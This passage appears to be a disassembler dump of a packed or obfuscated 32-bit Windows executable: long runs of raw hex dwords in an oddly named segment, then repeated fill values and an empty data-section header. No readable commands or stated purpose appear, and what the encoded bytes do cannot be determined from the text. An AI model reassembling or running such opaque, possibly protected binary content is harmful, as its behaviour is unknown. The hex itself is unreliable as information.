		dd 66000000h, 10E9F98Bh, 3C000000h, 0B8462BECh,	571AA9E1h
		dd 1A0CB4DDh, 8BFE015Ch, 8B66F5F7h, 0DA8B66FAh,	71F0B860h
		dd 81661107h, 61E2C6DEh, 66C78B66h, 0F47EAB9h, 189h, 8B0FF900h
		dd 6, 8F9AC881h, 0B70F454Bh, 7E853C3h, 0FF000000h, 0ABD99F92h
		dd 880FD583h, 0
		dd 50605F5Bh, 14E9h, 89833F00h,	8B6269B0h, 0FADC1301h
		dd 35B0E566h, 0CA5FDCE6h, 7E85B69h, 3000000h, 0AB6022CDh
		dd 59F8B578h, 9E861h, 9DAA0000h, 0DECE9DB0h, 0F8064FD2h
		dd 0F560605Bh, 0AE8h, 27A4DC00h, 0C2318729h, 5FEC879Eh
		dd 0FFBE6661h, 0BE6661BCh, 0BE66C847h, 18BA72D5h, 0F974B2F4h
		dd 0FCC8F1BEh, 1850F79h, 0FC000000h, 0A45FD281h, 0FC605662h
		dd 5161DFB6h, 7E9h, 3BCAA100h, 2E8BB10Fh, 10E859h, 0D0000h
		dd 85827FC9h, 86B3493Fh, 95BAAD9Fh, 0E956D57Dh,	7, 0D6F8C4BAh
		dd 5A3DB2C0h, 0D88B665Ah, 0BE951h, 1B270000h, 0E03203F9h
		dd 8436E96Ah, 0E3BE5A5Dh, 8123F63Ch, 0B663EAE7h, 0FB8B6668h
		dd 6656FE8Ah, 4DB0E981h, 0FE9F959h, 3A000000h, 960D05Eh
		dd 96582255h, 0EBAD7678h, 41BE1FBCh, 0E93239FAh, 5, 0ACA70A2Bh
		dd 8E97Dh, 0C6180000h, 0F0F798Eh, 8E8D145h, 8E000000h
		dd 0C8F72D1Ch, 58C50D9Eh, 0C8C0FFCh, 0E9000000h, 7, 452EC731h
		dd 66E6C08Ah, 0F0AFBB9h, 14E9F3BFh, 0F000000h, 0B3980475h
		dd 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh, 0B15E581Ah,	60F18BA9h
		dd 0EE80FC60h, 0DE96120h, 38000000h, 0C6C929E1h, 52BE93EDh
		dd 0D4A5DAA1h, 2AD38061h, 2840FF9h, 8B000000h, 80F28BD1h
		dd 800F69E4h, 0
		dd 10890Fh, 0BE90000h, 31000000h, 7B367623h, 1DA9EA33h
		dd 66F9E17Ch, 464ADB81h, 76CD80F8h, 6E9h, 0E7E56700h, 802C5D96h
		dd 850FFCEDh, 3, 0E959F850h, 0Eh, 0B9E47D0Ah, 7A8B22Dh
		dd 0B5F0F4D8h, 8B668968h, 0F6BA66C8h, 5228B570h, 8B66FC60h
		dd 8B5A61D6h, 78D1B9D0h, 0B70F6C0Bh, 0E3DE81D0h, 0E91F9E51h
		dd 5, 0C924DF98h, 0E381660Bh, 0CFBE7924h, 6605DDA8h, 0F4A82BFh
		dd 820FDFB7h, 3, 0FC3B70Fh, 18Bh, 8E0FF500h, 1,	9F1FBFF9h
		dd 54BF0011h, 8B0045DAh, 7E5BB8DAh, 810F5712h, 0
		dd 188D0Fh, 13E90000h, 0BA000000h, 0F760A78h, 16695CC2h
		dd 90FD5449h, 0FFC7382Eh, 2DB0F1C1h, 61D88B60h,	0CE9h
		dd 0BB03D000h, 33E1A2D7h, 0A563E768h, 6ADB80C3h, 0DE9h
		dd 334AA700h, 6046A30Bh, 169F296Fh, 0B966BA77h,	81660164h
		dd 0BBD43EE1h, 3D7EA327h, 0FC18B66h, 48Eh, 5A535200h, 60FDB05Ah
		dd 7E59B866h, 8E9h, 0EE305A00h,	149E1166h, 0E8606131h
		dd 0Ch,	948130D3h, 2364116Ch, 1231B7BBh, 6159F18Bh, 5E8DD8Ah
		dd 0D9000000h, 339C7326h, 0F18B6660h, 0FF55B61h, 60F8C9B7h
		dd 40D68166h, 6661F812h, 81C1DAB9h, 54B33FDBh, 5DC98061h
		dd 0E8C0BF0Fh, 12h, 0F4511591h,	184982DBh, 8A4273CCh, 0E6BC8467h
		dd 0BF0FF6F5h, 8B665FC2h, 0C88B60D0h, 0ECDE8166h, 0BA666162h
		dd 0BA504C34h, 67DB7B17h, 0DA8B665Fh, 58F0Fh, 0F2BB0000h
		dd 0B84C7EA6h, 6D48FE65h, 0FF18B66h, 385h, 0C18B6600h
		dd 0F77B3F5h, 8E9F8BFh,	0ED000000h, 0E8D0168Eh,	50A99DADh
		dd 69A3BB66h, 0FE858h, 18350000h, 720825E8h, 874610EEh
		dd 0BC40A204h, 5FDF8B82h, 50F08B66h, 3800Fh, 8B660000h
		dd 22B75BCFh, 7BAEEA81h, 81662D9Ch, 66A755DFh, 60296FBFh
		dd 10E9h, 244C2D00h, 0B112C6E4h, 0E6E27DD0h, 0E664CE43h
		dd 0EE8EDh, 7E230000h, 6140DD8Bh, 0A1464217h, 8153ED86h
		dd 5EC0BF0Fh, 6840F61h,	81000000h, 84FA35E7h, 0A0B8666Bh
		dd 8BF28BC5h, 8FEB81DEh, 666062BBh, 8B1003B8h, 60F08BD6h
		dd 0DCEA8160h, 815B0109h, 13C3E3E7h, 81616101h,	0BFF5CC7h
		dd 81D2B646h, 9D5C1DEBh, 8166600Ah, 61989BC3h, 0C18A5953h
		dd 4830Fh, 0BA660000h, 800F2315h, 0Ch, 6860Fh, 860F0000h
		dd 0
		dd 0E9CAB70Fh, 13h, 8ED512A2h, 1676430Eh, 9C2F5C88h, 0E1045C2Fh
		dd 60EE903Dh, 6159F953h, 5E85853h, 0BC000000h, 0AE10C602h
		dd 5FDF8B66h, 288D0Fh, 0BE80000h, 62000000h, 0D7B731C2h
		dd 1B8A4EBEh, 12E9C832h, 16000000h, 3F3B1A05h, 8AF35E6Fh
		dd 852E070Eh, 3FC9C013h, 0B70F5F6Dh, 0F3DB2C6h,	287h, 668DB600h
		dd 1ABEF81h, 14E9h, 8A4FA600h, 0DA6F7B42h, 4C785CE3h, 0EC69881h
		dd 0D286FC0Bh, 0F9B70F07h, 0FCB8B66h, 98Dh, 38C0F00h, 0F000000h
		dd 0BF0FF7BFh, 0D38B66D0h, 118D0Fh, 0CE90000h, 7D000000h
		dd 0F314708Fh, 0C58010D8h, 668FD21Eh, 0B6A9C081h, 6840Fh
		dd 0DE810000h, 7A23B8D9h, 0AE9h, 0F363F500h, 514B3A79h
		dd 8BCDB8D2h, 6A31B8F2h, 81664E9Ch, 66245BD7h, 80E988B8h
		dd 8B66A1D6h, 0C08166F0h, 92B1E25Bh, 0E8C88B66h, 8, 12903125h
		dd 0D242EBEBh, 0B7565BF5h, 0E3B75BBBh, 657794B8h, 7890F7Dh
		dd 56000000h, 8FE38166h, 0D4805E62h, 92B86658h,	0BE9E1h
		dd 0B1120000h, 0E6E27DD0h, 0E664CE43h, 9EBF66EDh, 0BE950E0h
		dd 0B000000h, 8D8CABC4h, 61211D0Ch, 0B85A8B26h,	29A63093h
		dd 6653C280h, 953DC081h, 317ACB81h, 8B607EE1h, 7E961FBh
		dd 3B000000h, 0E3981457h, 11E9291Ah, 4C000000h,	82D57EE5h
		dd 0BD04B873h, 0FCCB6827h, 0F848FAC6h, 1696BF66h, 60DBB060h
		dd 50F66ABBh, 0D2616115h, 313h dup(0D1E4F6CEh),	8DE4F6CEh
		dd 10h dup(8D3D7C4Eh), 0DCA3DBAAh, 202h	dup(0DCA3DBABh)
		dd 50A3DBABh, 0ABh dup(50324ED0h)
		db 0D0h, 4Eh
word_616C4E	dw 5032h		; DATA XREF: ___:off_4452FCo
		dd 0AAh	dup(50324ED0h),	0D1FBD6D0h, 1F9h dup(0D1FBD675h)
		dd 0B2F5D675h, 36h dup(0B2F5636Ah), 671CC76Ah, 104h dup(671CC7F9h)
		dd 6349CAF9h, 0BDh dup(6349CA5Ch), 0CC49CA5Ch, 98Ch dup(0CCCCCCCCh)
		dd 0CCCCCCh, 2C0h dup(0)
sdfs____	ends

; Section 5. (virtual address 0021B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0021B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 61B000h
		align 2000h
_idata2		ends


		end start